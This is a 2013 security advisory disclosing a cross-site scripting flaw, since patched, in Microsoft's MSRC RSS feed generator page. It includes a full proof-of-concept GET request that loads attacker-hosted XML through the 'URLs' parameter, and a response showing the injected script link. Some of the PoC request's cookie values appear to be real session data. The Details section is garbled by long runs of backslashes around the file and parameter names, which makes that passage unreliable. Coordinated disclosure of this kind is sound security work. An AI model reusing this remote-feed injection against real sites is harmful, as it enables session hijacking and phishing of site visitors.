Title:
======
Microsoft MSRC RSS ASPX - CS Cross Site Web Vulnerability


Date:
=====
2013-07-28


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1026

Microsoft Security Response Center (MSRC) ID: 15180

Video: http://www.vulnerability-lab.com/get_content.php?id=1028

View: http://www.youtube.com/watch?v=wcIIFB4Gx7g


VL-ID:
=====
1026


Common Vulnerability Scoring System:
====================================
1.6


Introduction:
=============
Microsoft Online Services is Microsoft`s hosted-software offering and a component of their software plus services strategy.
Microsoft Online Services are hosted by Microsoft and sold `with` Microsoft partners. The suite includes Exchange Online, 
SharePoint Online, Office Communications Online, Microsoft Forefront, and Microsoft Office Live Meeting. For businesses, 
the Software-plus-Services approach enables organizations to access the capabilities of enterprise software through on-premises 
servers, as online services, or a combination of both, depending on specific business requirements. Services also provide the 
option to add complementary capabilities that enhance on-premises server software and simplify system management and maintenance.

(Copy of the vendor Homepage: https://microsoftonline.com )


Abstract:
=========
An independent vulnerability laboratory researcher discovered a client-side cross site scripting vulnerability on Microsoft Website Application.


Report-Timeline:
================
2013-07-18:  Researcher Notification & Coordination (Muhammad A.S.)
2013-07-19:  Vendor Notification (Microsoft Security Response Center - MSRC)
2013-07-20:  Vendor Response/Feedback (Microsoft Security Response Center - MSRC)
2013-07-26:  Vendor Fix/Patch (Microsoft Development Team)
2013-07-28:  Public Disclosure (Vulnerability Laboratory)



Status:
========
Published


Affected Products:
==================
Microsoft Corporation
Product: Security Response Center (MSRC) - Blog aspx Web Application 2013 Q2


Exploitation-Technique:
=======================
Remote


Severity:
=========
Low


Details:
========
It has been discovered that the file `ssfeedgenerator.aspx` is not validating the input parameters and hence is vulnerable 
to remote xss attacks. Since no validation is being performed, it is possible to include remote xml files to be parsed and 
displayed on the main microsoft website. A remote attacker can include malicious xml files via URLS variable which can lead 
to remote java-script execution on the client machine within the context of microsoft.com website.

The vulnerability is located in the rssfeedgenerator.aspx\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\" file and the vulnerable parameter is \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'URLs\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' which can be exploited 
via GET method to include remote (external) xml files. 

Exploitation of the vulnerability requires no privilege application user account but low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, non persistent phishing, non persistent malware 
injects, external redirects and manipulation of affected module  or application context.

Vulnerable Module(s):
        [+] RSS Feeds

Vulnerable Path:
                                [+] /security/msrc/rssfeedgenerator.aspx

Vulnerable File(s):
        [+] rssfeedgenerator.aspx

Vulnerable Parameter(s):
        [+] URLs


Proof of Concept:
=================
The client side web vulnerability can be exploited by remote attackers without privilege application user account and with low user interaction.
For demonstration or reproduce ...

GET /security/msrc/rssfeedgenerator.aspx?URLs=http://www.nybbletech.com/poc/ms/micro.xml&itemToDisplay=3&words=16 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: v1st=58D7FEA59B237B40; MC1=GUID=376046a1d44f8b42834ba1809be0406d&HASH=a146&LV=20136
&V=4&LU=1371688854677; A=I&I=AxUFAAAAAACVBwAA4cYlXvROT/4qjCG/tr9eRg!!&V=4; WT_FPC=id=3513600256.30305614:lv=1373527230788:ss=1373527206515
Connection: keep-alive


Response:

INT NAV ONL PHY PRE PUR UNI"
X-AspNet-Version: 2.0.50727
VTag: 279923242400000000
X-Powered-By: ASP.NET
X-Powered-By: ARR/2.5
X-Powered-By: ASP.NET
Date: Fri, 19 Jul 2013 14:44:14 GMT
Content-Length: 1847

<div id="rssData1"><div><table width="100%" cellspacing="0" cellpadding="0" border="0" >
<tr><td><a href="http://blogs.technet.com/b/srd/archive/2013/07/10/running-in-the-wild-not-for-so-long.aspx" target="_blank">
<b>Running in the wild, not for so long</b></a></td></tr><tr><td style="padding-bottom:2px;"><font size="1">
<i>Security Research & Defense - Wednesday, July 10, 2013 5:12:00 PM</i></font></td></tr><tr><td style="padding-bottom:10px;">
Over <a href="javascript:alert('VULNERABLE')">CLICK HERE</a>testinging we received a report from our partners about a possible 
unpatched Internet Explorer vulnerability ......</td></tr></table></div><div><table width="100%" cellspacing="0" cellpadding="0" 
border="0" ><tr><td><a href="http://blogs.technet.com/b/srd/archive/2013/07/09/assessing-risk-for-the-july-2013-security-updates.aspx" 
target="_blank"><b>Assessing risk for the July 2013 security updates</b></a></td></tr><tr><td style="padding-bottom:2px;"><font size="1">
<i>Security Research & Defense - Tuesday, July 9, 2013 10:09:00 AM</i></font></td></tr><tr><td style="padding-bottom:10px;">Today we 
released seven security bulletins addressing 34 CVE’s. Six bulletins have a maximum severity rating of Critical, ......
</td></tr></table></div><div><table width="100%" cellspacing="0" cellpadding="0" border="0" ><tr><td>
<a href="http://blogs.technet.com/b/srd/archive/2013/06/17/emet-4-0-now-available-for-download.aspx" target="_blank">
<b>EMET 4.0 now available for download</b></a></td></tr><tr><td style="padding-bottom:2px;"><font size="1"><i>Security Research 
& Defense - Monday, June 17, 2013 10:01:00 AM</i></font></td></tr><tr><td style="padding-bottom:10px;">We are pleased to announce 
that <strong>the final release of version 4.0 of the Enhanced Mitigation Experience Toolkit</strong>, ......</td></tr></table></div></div>


Solution:
=========
Input data via URLS parameter should be validated. Only white-listed domains should be allowed for redirects and direct links. 


Risk:
=====
The security risk of the client side cross site scripting vulnerability in the microsoft security web application is estimated as low(+)|(-)medium.


Credits:
========
Muhammad Ahmed Siddiqui - ahmed@nybbletech.com


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===========
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